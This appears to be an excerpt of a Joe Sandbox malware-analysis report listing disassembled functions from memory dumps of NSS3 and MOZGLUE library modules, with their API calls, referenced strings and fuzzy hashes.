Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: bb210e20e9bc2686247ff089cbc49b3c2ea22d7aafa9d276c4ea64b181a95544
Instruction ID: ef23235099de5cf65004f3bda99995010ef62edf1586be8ecdf564158325c0ff
Opcode Fuzzy Hash: bb210e20e9bc2686247ff089cbc49b3c2ea22d7aafa9d276c4ea64b181a95544
Instruction Fuzzy Hash: D3419070608741CFD7109F28C584796BBF5FB06328F24866EE45D8BA41DB71E989CF80

Function 6CB30E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CB30A2C), ref: 6CB30E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CB30A2C), ref: 6CB30E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CB30A2C), ref: 6CB30E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CB30A2C), ref: 6CB30E90
free.MOZGLUE(00000000), ref: 6CB30EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CB30A2C), ref: 6CB30ED9

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: ca90be064a645f4e61f793e31f9ad8029408a5dd1336eb666fcf48987f357b97
Instruction ID: 4fa2ec91c6d2b16e8b2a16acf81003fb1d4a073c31242cf550b8703ca15b39c1
Opcode Fuzzy Hash: ca90be064a645f4e61f793e31f9ad8029408a5dd1336eb666fcf48987f357b97
Instruction Fuzzy Hash: 1A216E76F002F45BEB00496ABC81B6B72AEDFC1748F095035DC1C63A82EA70C81882A3

Function 6CB488D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB50725,00000000,00000058), ref: 6CB48906
EnterCriticalSection.KERNEL32(?), ref: 6CB4891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CB4894A
calloc.MOZGLUE(00000001,6CB5072D,00000000,00000000,00000000,?,6CB50725,00000000,00000058), ref: 6CB48959
memset.VCRUNTIME140(?,00000000,?), ref: 6CB48993
PR_Unlock.NSS3(?), ref: 6CB489AF

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: ff14601d4a5aef424ffc221e3377f1831061730f4644c9e2ef624f4795c2d707
Instruction ID: eac68f0aa7bfedd25829cc9e193de49b7b8eeac979ff400c0f557cfc9ff0a614
Opcode Fuzzy Hash: ff14601d4a5aef424ffc221e3377f1831061730f4644c9e2ef624f4795c2d707
Instruction Fuzzy Hash: DB31F172E04651ABD7009F28CC41A5AB7B8FF05358F19C22AEC58DBB45E732E845D7D2

Function 6CA56590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4FA80: GetCurrentThreadId.KERNEL32 ref: 6CA4FA8D
Part of subcall function 6CA4FA80: AcquireSRWLockExclusive.KERNEL32(6CA9F448), ref: 6CA4FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA56727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA567C8

Part of subcall function 6CA64290: memcpy.VCRUNTIME140(?,?,6CA72003,6CA70AD9,?,6CA70AD9,00000000,?,6CA70AD9,?,00000004,?,6CA71A62,?,6CA72003,?), ref: 6CA642C4

Strings

data, xrefs: 6CA56593

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: dd649d09318ed19746d0411ff28957f07964c6c3c81ba379e535b1c910c76588
Instruction ID: 8e493da34c46bbc074a55cde9f15275b40057e3cd1c76064ece0d58267424059
Opcode Fuzzy Hash: dd649d09318ed19746d0411ff28957f07964c6c3c81ba379e535b1c910c76588
Instruction Fuzzy Hash: 7ED1DF75A053418FD724CF29C851B9AB7E5AFC5308F54892DE18AC7B90EB30A889CB52

Function 6CB3AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB3AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CB3AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB3AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB3AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CC59500), ref: 6CB3AF23

Part of subcall function 6CB8F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CB8F0C8
Part of subcall function 6CB8F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB3AF37

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 08cf0027cb54a18f349dcbc1ea724875e3ba96d6b0b296487b57161022bc29b1
Instruction ID: 3ad6e30db19160268538526c75780e21a0676babc8c24180e66549084ab51cb6
Opcode Fuzzy Hash: 08cf0027cb54a18f349dcbc1ea724875e3ba96d6b0b296487b57161022bc29b1
Instruction Fuzzy Hash: 142128B29052909BEF108E589C01B9E7BA4EF85728F244318FC189B7C0E731D5058BA7

Function 6CBBEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBEE85
realloc.MOZGLUE(1666565D,?), ref: 6CBBEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CBBEEC5

Part of subcall function 6CB90BE0: malloc.MOZGLUE(6CB88D2D,?,00000000,?), ref: 6CB90BF8
Part of subcall function 6CB90BE0: TlsGetValue.KERNEL32(6CB88D2D,?,00000000,?), ref: 6CB90C15

htonl.WSOCK32(?), ref: 6CBBEEE3
htonl.WSOCK32(00000000,?), ref: 6CBBEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CBBEF01

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b04ebafb999386e89a3c8225a490596f62efca7b50ad8ac066386bd852b798f7
Instruction ID: e15475541499b4be11dfadb70e0ed08b23fc5c3e690c2033198f6b3cead5eb28
Opcode Fuzzy Hash: b04ebafb999386e89a3c8225a490596f62efca7b50ad8ac066386bd852b798f7
Instruction Fuzzy Hash: 81219471A002549BDB109F28DC807AEB7A4EF45358F1581A9FC19AB651E730E814C7E6

Function 6CB84820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CB84EB8,?), ref: 6CB84884

Part of subcall function 6CB88800: TlsGetValue.KERNEL32(?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB88821
Part of subcall function 6CB88800: TlsGetValue.KERNEL32(?,?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB8883D
Part of subcall function 6CB88800: EnterCriticalSection.KERNEL32(?,?,?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB88856
Part of subcall function 6CB88800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CB88887
Part of subcall function 6CB88800: PR_Unlock.NSS3(?,?,?,?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB88899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB84EB8,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB8484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB84EB8,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB8486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB848A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB848B8

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 1707b0045f12411fa2f46be14bdebf53e3ecf868f0e5c9e238466b63dc5e034b
Instruction ID: 007cd591eeda89e745e867c411c65f7c1340da439fa3430f2379844a850199c6
Opcode Fuzzy Hash: 1707b0045f12411fa2f46be14bdebf53e3ecf868f0e5c9e238466b63dc5e034b
Instruction Fuzzy Hash: 5A21C676F022C09BEF009E65EC9495B77BCFF0675A7544528DE4947A01EB21E8188BE2

Function 6CBC6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CBCAA9B,?,?,?,?,?,?,?,00000000,?,6CBC80C1), ref: 6CBC6846

Part of subcall function 6CB21770: calloc.MOZGLUE(00000001,0000019C,?,6CB215C2,?,?,?,?,?,00000001,00000040), ref: 6CB2178D

PR_NewMonitor.NSS3(00000000,?,6CBCAA9B,?,?,?,?,?,?,?,00000000,?,6CBC80C1), ref: 6CBC6855

Part of subcall function 6CB88680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CB355D0,00000000,00000000), ref: 6CB8868B
Part of subcall function 6CB88680: PR_NewLock.NSS3(00000000,00000000), ref: 6CB886A0
Part of subcall function 6CB88680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CB886B2
Part of subcall function 6CB88680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CB886C8
Part of subcall function 6CB88680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CB886E2
Part of subcall function 6CB88680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CB886EC
Part of subcall function 6CB88680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CB88700

PR_NewMonitor.NSS3(?,6CBCAA9B,?,?,?,?,?,?,?,00000000,?,6CBC80C1), ref: 6CBC687D

Part of subcall function 6CB21770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB218DE
Part of subcall function 6CB21770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB218F1

PR_NewMonitor.NSS3(?,6CBCAA9B,?,?,?,?,?,?,?,00000000,?,6CBC80C1), ref: 6CBC688C

Part of subcall function 6CB21770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB218FC
Part of subcall function 6CB21770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB2198A

PR_NewLock.NSS3 ref: 6CBC68A5

Part of subcall function 6CBF98D0: calloc.MOZGLUE(00000001,00000084,6CB20936,00000001,?,6CB2102C), ref: 6CBF98E5

PR_NewLock.NSS3 ref: 6CBC68B4

Part of subcall function 6CBF98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CBF9946
Part of subcall function 6CBF98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB16B7,00000000), ref: 6CBF994E
Part of subcall function 6CBF98D0: free.MOZGLUE(00000000), ref: 6CBF995E

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 0a80c4b69563065b07b2052276095eaa44d5979bb2e2f9a50e10a4ed3ef9e557
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 33014BB0B01B8756EB516F7548107FB76E49F0128AF14043B84A9C6B90FF25D8088BB3

Function 6CA4D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA1EB57,?,?,?,?,?,?,?,?,?), ref: 6CA4D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA1EB57,?), ref: 6CA4D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA1EB57,?), ref: 6CA4D673
free.MOZGLUE(?), ref: 6CA4D888

Strings

|Enabled, xrefs: 6CA4D81E

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: ff9260262f28bc8d8e1a65a01e95233be884224d5972c7ea4aeb86c31b8c1747
Instruction ID: 7c9ef8e60421254a104c1fe060ca2493f61897fb5963126136e0b5744778f1f4
Opcode Fuzzy Hash: ff9260262f28bc8d8e1a65a01e95233be884224d5972c7ea4aeb86c31b8c1747
Instruction Fuzzy Hash: 6BA1F3B0E043558FDB05CF69C8947EEBBF1AF49318F18815CD889AB741D735A889CBA1

Function 6CB1AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB1AFDA

Strings

%s at line %d of [%.10s], xrefs: 6CB1AFD3
misuse, xrefs: 6CB1AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB1AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CB1AF5C

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 8d98b52af6a319d22e87a108b5089c8deda48e8e804892951980a454b01789e3
Instruction ID: b924c8db999ebd525e7ac0eb9c61f782ed57f3f43726999e04d08b60bd2c84c7
Opcode Fuzzy Hash: 8d98b52af6a319d22e87a108b5089c8deda48e8e804892951980a454b01789e3
Instruction Fuzzy Hash: A991F2B5A082958FDB04CF59C894BAAB7F1FF45314F1980A8E864ABB51D334ED05CF61

Function 6CA4F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA4F480

Part of subcall function 6CA1F100: LoadLibraryW.KERNEL32(shell32,?,6CA8D020), ref: 6CA1F122
Part of subcall function 6CA1F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA1F132

CloseHandle.KERNEL32(00000000), ref: 6CA4F555

Part of subcall function 6CA214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA21248,6CA21248,?), ref: 6CA214C9
Part of subcall function 6CA214B0: memcpy.VCRUNTIME140(?,6CA21248,00000000,?,6CA21248,?), ref: 6CA214EF

Part of subcall function 6CA1EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA1EEE3

CreateFileW.KERNEL32 ref: 6CA4F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA4F523

Strings

\oleacc.dll, xrefs: 6CA4F4CB

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: bd4db37366cf213994609aacb008147e59543c0aee1e1af883ca2b3131ab88ac
Instruction ID: 58b855c1b32db1749b89e2e551ec66c778ea8516405e945efdf4859a37bef9e7
Opcode Fuzzy Hash: bd4db37366cf213994609aacb008147e59543c0aee1e1af883ca2b3131ab88ac
Instruction Fuzzy Hash: 8941CF306187519FE724DF29CD84B9AB7F4AF85318F109A1CF69583650EB30E989CB92

Function 6CA774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA77526
__Init_thread_footer.LIBCMT ref: 6CA77566
__Init_thread_footer.LIBCMT ref: 6CA77597

Strings

kernel32.dll, xrefs: 6CA77557
UnmapViewOfFile2, xrefs: 6CA77552

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 87b26d3d404549ea43ebd099fad880926e6fecfd0a2aa75e34e0bed00be8d275
Instruction ID: 6db78d5976e2915c832da998d9aa583ed7a3cfb474d9c9d49930c7565746e5f3
Opcode Fuzzy Hash: 87b26d3d404549ea43ebd099fad880926e6fecfd0a2aa75e34e0bed00be8d275
Instruction Fuzzy Hash: E821D635710602ABCA298FA9DD16E9933B6FB46724F14852CE80697F40CF70A89786B5

Function 6CC0A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CAD7915,?,?), ref: 6CC0A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CAD7915,?,?), ref: 6CC0A8A6

Strings

%s at line %d of [%.10s], xrefs: 6CC0A8A0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC0A891
database corruption, xrefs: 6CC0A89B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 8daffa3b5afad3ca1aabc3d8d9dc9dcf5ce99c8fc309eaf3aa7f9f4d9d2c6a17
Instruction ID: 4f18f6d8821a3d2dea3beaec93ee927514fdcc40dd8e40b9a6d3214735b90bda
Opcode Fuzzy Hash: 8daffa3b5afad3ca1aabc3d8d9dc9dcf5ce99c8fc309eaf3aa7f9f4d9d2c6a17
Instruction Fuzzy Hash: 7D110371B00204AFDB048F21DC40AAAB7A5FF89314F008529FC194BB80FB31A956CB92

Function 6CB20DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

